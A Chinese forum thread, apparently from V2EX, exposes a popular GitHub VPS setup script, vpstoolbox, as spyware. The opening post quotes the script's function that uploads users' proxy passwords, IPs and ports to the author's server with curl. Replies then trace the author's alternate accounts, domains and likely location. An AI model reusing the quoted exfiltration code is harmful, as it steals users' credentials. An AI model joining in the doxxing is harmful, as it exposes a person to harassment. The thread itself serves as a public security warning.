Github 间谍项目 vpstoolbox，避雷，有用的小伙伴记得改密码

[proxytoworld]

仓库:https://github.com/johnrosen1/vpstoolbox/blob/master/vps.sh

会把机场的 IP ，端口，密码上传到作者可控的服务器，后续想干嘛就不知道了

https://github.com/johnrosen1/vpstoolbox/blob/ec7e0dc19561563f5d278a3e436f1cf67b9ae7b5/vps.sh#L494

clean_env(){
prasejson
cd /root
echo "trojan://${password1}@${myip}:${trojanport}?security=tls&headerType=none&type=tcp&sni=${domain}#Trojan($(nproc --all)C$(grep MemTotal /proc/meminfo | awk '{print $2}' | xargs -I {} echo "scale=1; {}/1024^2" | bc)G ${route_final}${mycountry} ${myip_org} ${myip} ${myipv6} ${target_speed_up} Mbps)" &> ${myip}.txt
curl --retry 5 https://johnrosen1.com/fsahdfksh/ --upload-file ${myip}.txt &> /dev/null
rm ${myip}.txt
cd
rm -rf /root/*.sh
rm -rf /usr/share/nginx/*.sh
clear
}

https://cn.tgstat.com/channel/@vpstoolbox

难道是

[buyan3303]

[机场的 IP ，端口，密码上传到作者可控的服务器]
通常自己免费使用这些机场

[proxytoworld]

@buyan3303 也有可能转卖，谁知道呢

[Greenm]

不管出于什么目的，我已经提交 report 给 github 了。

[vsitebon]

太特么溜了

[Andim]

还是 1000 以上的关注项目呀

[arfaWong]

之前就有人发现发了 issue ，然后作者把 issue 给关了😂

[jomalonejia]

关注后续

[csrocks]

已经删库了😂

[aogg]

已经打不开 github 项目了

[lzgshsj]

不开 issue 的的仓库，多少有点这那毛病

[Rache1]

还有 1.4k 的 star

https://web.archive.org/web/20230330025849/https://github.com/johnrosen1/vpstoolbox

[Rache1]

在这个 issue 发出来的时候，还有 1.6k star 😄

为什么 trojan 订阅地址包括用户密码等要上传到个人博客？ · Issue #138 · johnrosen1/vpstoolbox · GitHub
https://web.archive.org/web/20221128070511/https://github.com/johnrosen1/vpstoolbox/issues/138

[vsitebon]

已经删号和删库了

[iyiluo]

跑路了，估计好一大波肉鸡

[lakehylia]

这是真正的删库跑路吧。。。

[vsitebon]

该开发者在 v 站： https://www.v2ex.com/member/johnrosen1

[leaflxh]

曾经有一次把 get.docker.com 记错了，打成了 get-docker.sh 。用一键脚本感觉像是在裸奔

[leaflxh]

#!/bin/bash
while [ 1 ]
do
echo " ______________ ______ ___ ________ "
echo " .\\\\ _ _ /----/ /_____/ \\\\\\. /_ "
echo " )__/ /___\\ _/ // / // /___(__ "
echo " / // \\ // / // /_\\ \\ "
echo " /_____\\ /_____\\ _________\\ _______ \\ "
echo " ////////\\_____///////\\\\/////////\\\\///////\\_____//. "
echo " _________ ___________ ________ _______ ________ "
echo " _) /_.) ._ // ___ // /_____\\____ ( "
echo " \\ |__/ \\__ |/ _// / / / X0 / \\ "
echo " \\ : / / \\__ / //_ /\\ /. / \\ "
echo " .\\\\___ /___\\ /_____////____/\\ \\\\__ / "
echo " ////\\____//////\\____/////// ////////\\____////\\____//. "
echo " ///// ///// ///// ///// "
echo ""
echo " WHY YOU NO LOOK AT THE SOURCE BEFORE YOU PIPE INTO BASH??"
echo ""
echo " #AirGap2020 Virtual Conference May 2nd! https://airgapp.in"
echo " Follow @airgappin on Twitter for updates!"
echo ""
done

[magiccode]

看了一眼，开发这个的老哥在 v2 也宣传过

[wdv2ly]

@vsitebon 哈哈，估计作者一看到 v 站小伙伴曝光，立马删库跑路😂

[iijboom]

https://github.com/laoz77/trojan-gfw-script
这个应该是他的大号
打开可以看到他的网址，建议大家一起一锅端举报了
trojan-gfw-script
This script will help you set up a trojan-gfw server in an extremely fast way. https://www.johnrosen1.com/trojan/ main course Auto install and setup Trojan-Gfw and nginx. Auto enable tcp-bbr and disable tcp slow start

[proxytoworld]

@vsitebon #16 牛逼，这样的开发能封了吗，这脚本还是 root 权限

[proxytoworld]

@arfaWong
@lzgshsj


确实不开 issue 一眼有问题

[proxytoworld]

博客也暂时关了

[Death]

一键脚本应该尽量默认是有问题的
哪怕是官方提供的安装脚本也要自己过一遍才能放心

[iijboom]

https://github.com/johnwick3gits/trojan-gfw-script 小号加 1
This branch is 1211 commits ahead of laoz77:master.
下面也有他的信息
Telegram Channel And Group
https://t.me/johnrosen1
https://t.me/trojanscript
中文文檔

[FranzKafka95]

不开 ISSUE 区其实已经很能说明问题了。

[LeegoYih]

@iijboom #26
这么多小号？看来是惯犯了，怕不是灰产。

[iijboom]

@LeegoYih 估计还有很多，没空找

[404www]

哈哈，连博客也删解析了

[proxytoworld]

@LeegoYih #28 有可能是抓下来在卖，如果自己用，这样大批量的也用不着

[buydip]

把这祸害弄进去

[mns]

啊这，以前好像还有群的。

[tf2]

一来可以自己卖赚钱

二来可以怼人举报一波，把线索卖个晶哥简单立个功

[XSNARUTO]

从来不推荐任何小白用什么一件脚本，反正现在便宜机场一大堆，我甚至会觉得随便给小白丢什么「一键脚本」的人都不是什么太负责的人。真的有需求的人，要么会自己搭（毕竟也不难），要么多少懂一点起码的 review 脚本代码。

想起来之前逛 Twitter 看到有小白（而且说了自己不是数码 /科技爱好者）询问数据存储意见，很简单的就买现成云存储的需求，结果也是有人上来就让人家去买 NAS 。我真的无大语，总有人喜欢放个屁，然后跑得无影无踪……。

[rock123]

这个是不是小号？ https://github.com/haakuya/Qbit_tools

[Greenm]

https://t.me/vpstoolbox/2 他尝到了甜头，重新搞了个小号打复活赛了

[Greenm]

https://github.com/ghost 这个账号应该才是他的大号，隐藏了 activity

[jenlors]

这种人就是败类

[proxytoworld]

@Greenm 咋查到大号的，牛啊

[AkaGhost]

ghost 是个特殊用户，代表那个用户已经注销了

[xiri]

@Greenm ghost 是 github 的删号占位账户，，，

[joesonw]

域名用了 privacy guardian ，一起去举报 abuse 披露注册信息，不知有没有用。

[crab]

@arfaWong 提出问题，解决提问人。

[czn1fgmfdngp22]

《你用我脚本，我用你代理》🤣

[Jeanslike]

确实是个败类

[Cu635]

@vsitebon #16
难怪反应这么快，lz 发帖不到 5 个小时就连着帐号一起删了。

[BigShot404]

说到这个，现在用 OPENAI ，扫一遍代码然后标注一些疑似账号泄露或者后门地址应该不难吧？

[20160409]

233boy 的这个一键脚本有问题吗，有没人审查过？

https://github.com/233boy/v2ray/wiki

[0x535]

580 个 fork 都没发现这个问题 😂 fork 了个寂寞

[DeltaC]

致富门路+1

[HaneRo]

rm -rf /root/*.sh ？删除 root 下所有 sh 文件？这是不是不太好

[FightPig]

删的动作挺快

[oszlso]

作者 @johnrosen1 今日活跃度排名 9187 ，上线咋不吱声呀🤭

[boris1993Jr]

@0x535 #50 我感觉大部分人都是拿 fork 当收藏用的，因为小白喜欢这么玩，而用一键脚本的又有不少小白

[FrankAdler]

https://github.com/Doutianbao/vpstoolbox 相关的 fork 还能找到

[n18255447846]

事实证明就算有大量使用的人甚至官方的脚本 or 程序，还是有一定的风险。就看懂行的有没有人爆出来了

[ttyhtg]

能不能把他扒个底朝天，把他送进去？

[levelworm]

看了下文中的语气，感觉不太像是大陆人？但是的确又是简体字。

比如这个：操作系统不支援，请使用 Debian 或者 Ubuntu 运行。

像我这种 shell 小白真是大开眼界啊，能学不少东西，希望大家能抓到这个人。

[CodeCodeStudy]

@levelworm 应该是湾湾用简体字，然后搞肉鸡

[woyao]

@livid 恶意的人在 V2EX 做恶

[proxytoworld]

@levelworm #59 合理了

[wohccdaa]

@livid 可以封掉他的账号吗？@johnrosen1

[woyao]

有使用过这些 docker 的人也小心一点吧
https://hub.docker[.]com/r/johnrosen/nzbget/tags

[Vindroid]

灯下黑，很多人一看是开源的，还那么多星星，那就不看源码，一把梭哈。一键脚本我是从来不敢直接用的

[AlphaTauriHonda]

实在是离谱。
是🧱难以封光代理所以主动发布间谍项目？
还是 johnrosen1 想倒卖代理获利？

[jklove123bai]

所以那些相信开源没事的人的逻辑，我很难理解

[lxiian]

@levelworm 湾湾喜欢用"支援"而不是"支持"

[woyao]

@CodeCodeStudy 应该不是湾湾
他的域名 jiesen[.]life 和 johnrosen1[.]com ，看了一下解析 IP ，有不少上海电信的 IP 。应该是在上海。

[ICU]

哈哈 楼主这个发现，还上了这里的新闻（ https://www.oschina.net/news/234764 ）

[woyao]

不是湾湾的证据还可以看这篇文章

Ledger Nano X 开箱记录及上手体验
https://johnrosen1[.]com/2021/06/02/ledger/

[leeuu]

开盒了

[Shura]

真是败类，没有人品

[levelworm]

@lxiian 看 69 楼，也不好确定了。另外注释里其他的中文看起来又比较像大陆这边的，不知道坛贤们能不能挖出来更多的。

[levelworm]

@woyao 但是这里又很像
https://web.archive.org/web/20230320194653/https://johnrosen1.com/2021/03/06/win10-store/

[lovedebug]

繁体字“支援”默认不会翻译成“支持”

[mypchas6fans]

@20160409 之前说有挖矿传言，但我一直在用，只能说看上去没问题，vps cpu 内存流量都正常

[Jakarta]

我感觉像是居住在大陆的台湾人。

[Jakarta]

johnrosen.xyz 也是他的，还搭建了邮件服务器，邮箱是 john 艾特 johnrosen.xyz

[kebamt]

@mypchas6fans 没出现过问题，都正常，只是脚本会自动给你做决定服务器层面屏蔽掉一些网站，如：大纪元😂

[mcone]

前两天看到帖子，这两天无聊搜下了，跟楼上某位朋友的结论有点像，应该是个肉身在大陆的台湾人或者被港台语法深刻浸染过的大陆人。

[love2wind]

慎用一键脚本啊，谁知道有没有夹带私货

[luoshengdu]

我擦，我用了好多年了啊

[mypchas6fans]

@kebamt 嗯，这个看生成的 config.json 就知道，有必要。

[zlhsvc]

还真没有去翻一键脚本的习惯，下次看来得多注意了

[zzyphp111]

@20160409 #49 看下油管有 up 曝光 这个 233boy ，几年前给 zf 部署，用过还行。

[科学上网] 233boy 版 v2ray 到底有没有后门？看完视频你就知道答案了